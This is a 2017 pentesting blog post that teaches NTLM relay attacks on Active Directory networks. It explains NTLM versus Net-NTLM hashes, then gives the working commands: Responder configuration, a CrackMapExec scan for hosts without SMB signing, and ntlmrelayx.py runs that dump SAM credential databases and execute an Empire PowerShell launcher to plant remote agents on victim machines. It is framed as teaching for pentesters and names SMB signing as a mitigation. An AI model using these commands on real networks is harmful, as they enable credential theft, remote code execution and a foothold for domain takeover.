byt3bl33d3r

Published

Fri 02 June 2017

←Home

Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes)

// under Active Directory

This blog post is mainly aimed to be a very 'cut & dry' practical guide to help clear up any confusion regarding NTLM relaying. Talking to pentesters I've noticed that there seems to be a lot of general confusion regarding what you can do with those pesky hashes you get with Responder. I also noticed there doesn't seem to be an up to date guide on how to do this on the interwebs, and the articles that I did see about the subject either reference tools that are outdated, broken and/or not maintained anymore.

I won't go into detail on all the specifics since there are a TON of papers out there detailing how the attack actually works, this one from SANS is a ok when it comes to the theory behind the attack.

Before we dive into the thick of it we need make sure we are on the same page with a couple of things.

NTLM vs. NTLMv1/v2 vs. Net-NTLMv1/v2

This is where the confusion starts for a lot of people and quite frankly I don't blame them because all of the articles about this attack talk about NTLMv1/v2, so when they see Net-NTLMv1/v2 anywhere obviously people wonder if it's the same thing.

Edit 06/05/2017 - Updated the TL;DR as it was brought to my attention the way I phrased it was still confusing.

TL;DR NTLMv1/v2 is a shorthand for Net-NTLMv1/v2 and hence are the same thing.

However, NTLM (without v1/v2) means something completely different.

NTLM hashes are stored in the Security Account Manager (SAM) database and in Domain Controller's NTDS.dit database. They look like this:

```
aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
```

Contrary to what you'd expect, the LM hash is the one *before* the semicolon and the NT hash is the one *after* the semicolon. Starting with Windows Vista and Windows Server 2008, by default, only the NT hash is stored.

Net-NTLM hashes are used for network authentication (they are derived from a challenge/response algorithm and are based on the user's NT hash). Here's an example of a Net-NTLMv2 (a.k.a NTLMv2) hash:

```
admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12
ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030
```

(This hash was taken from the Hashcat example hash page here)

From a pentesting perspective:

- You **CAN** perform Pass-The-Hash attacks with **NTLM** hashes.
- You **CANNOT** perform Pass-The-Hash attacks with **Net-NTLM** hashes.

You get NTLM hashes when dumping the SAM database of any Windows OS, a Domain Controller's NTDS.dit database or from Mimikatz (Fun fact, although you can't get clear-text passwords from Mimikatz on Windows >= 8.1 you can get NTLM hashes from memory). Some tools just give you the NT hash (e.g. Mimikatz) and that's perfectly fine: obviously you can still Pass-The-Hash with just the NT hash.

You get Net-NTLMv1/v2 (a.k.a NTLMv1/v2) hashes when using tools like Responder or Inveigh.

This article is going to be talking about what you can do with Net-NTLM in *modern* windows environments.

Relaying 101

Since MS08-068 you cannot relay a Net-NTLM hash back to the same machine you got it from (e.g. the 'reflective' attack) unless you're performing a cross-protocol relay (which is an entirely different topic). However you can still relay the hash to another machine.

TL;DR you don't *have* to crack the hashes you get from Responder, you can directly relay them to other machines!

What's really cool about this? You can use Responder in combination with a relay tool to automatically intercept connections and relay authentication hashes!

The only caveat to this attack? SMB Signing needs to be disabled on the machine you're relaying too. With the exception of Windows Server OS's, all Windows operating systems have SMB Signing disabled by default.

Personally, I consider SMB Signing to be one of the most overlooked and underrated security settings in Windows specifically because of this attack and how easy it allows for attackers to gain an initial foothold.

Setting up

Grab Responder (do *not* use the version of Responder on SpiderLab's Github repository as it isn't maintained anymore, you should be using lgandx's fork), edit the Responder.conf file and turn off the SMB and HTTP servers:

```
[Responder Core]

; Servers to start
SQL = On
SMB = Off     # Turn this off
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off    # Turn this off
HTTPS = On
DNS = On
LDAP = On
```

Now you need a relaying tool.

There are 2 main tools that are maintained and updated regularly that can be used to perform relay attacks with Net-NTLMv1/v2 hashes:

- ntlmrelayx.py which comes with the Impacket library
- MultiRelay.py that comes with the Responder toolkit.

I personally use ntlmrelayx.py so I'll stick with that for this blogpost.

Install Impacket using pip or manually by git cloning the repo and running the setup file and it will put the ntlmrelayx.py script in your path.

Now you need list of targets to relay to.

How you do that is up to you. I personally use CrackMapExec: V4 has a handy `--gen-relay-list` flag just for this:

```
cme smb <CIDR> --gen-relay-list targets.txt
```

The above command will generate a list of all hosts with SMB Signing disabled and output them to the specified file.

0wning Stuff

Now that you have everything you need, fire up Responder in one terminal window:

```
python Responder.py -I <interface> -r -d -w
```

And ntlmrelayx.py in another:

```
ntlmrelayx.py -tf targets.txt
```

By default, ntlmrelayx.py upon a successful relay will dump the SAM database of the target.

Buuuuut, you know whats even better? How about executing a command?

```
ntlmrelayx.py -tf targets.txt -c <insert your Empire Powershell launcher here>
```

Now, every time ntlmrelayx.py successfully relays a Net-NTLM hash, you will get an Empire agent! How cool is that??!

Here's a video of how it looks like in practice:

Let's recap

1. We're using Responder to intercept authentication attempts (Net-NTLM hashes) via Multicast/Broadcast protocols.
2. However, since we turned off Responder's SMB and HTTP servers and have ntlmrelayx.py running, those authentication attempts get automatically passed to ntlmrelayx.py's SMB and HTTP servers
3. ntlmrelayx.py takes over and relays those hashes to our target list. If the relay is successful it will execute our Empire launcher and give us an Empire Agent on the target machine.

Conclusion

SMB Relaying attacks are very much still relevant. Having SMB Signing disabled in combination with Multicast/Broadcast protocols allow attackers to seamlessly intercept authentication attempts, relay them to other machines and gain an initial foothold on an Active Directory network in a matter of minutes.

Now, combine this with something like DeathStar and you have automated everything from getting a foothold to gaining Domain Admin rights!

Shout outs

These are the people responsible for these amazing tools, hard work and research. You should be following them everywhere!

- agsolino
- dirkjanm
- lgandx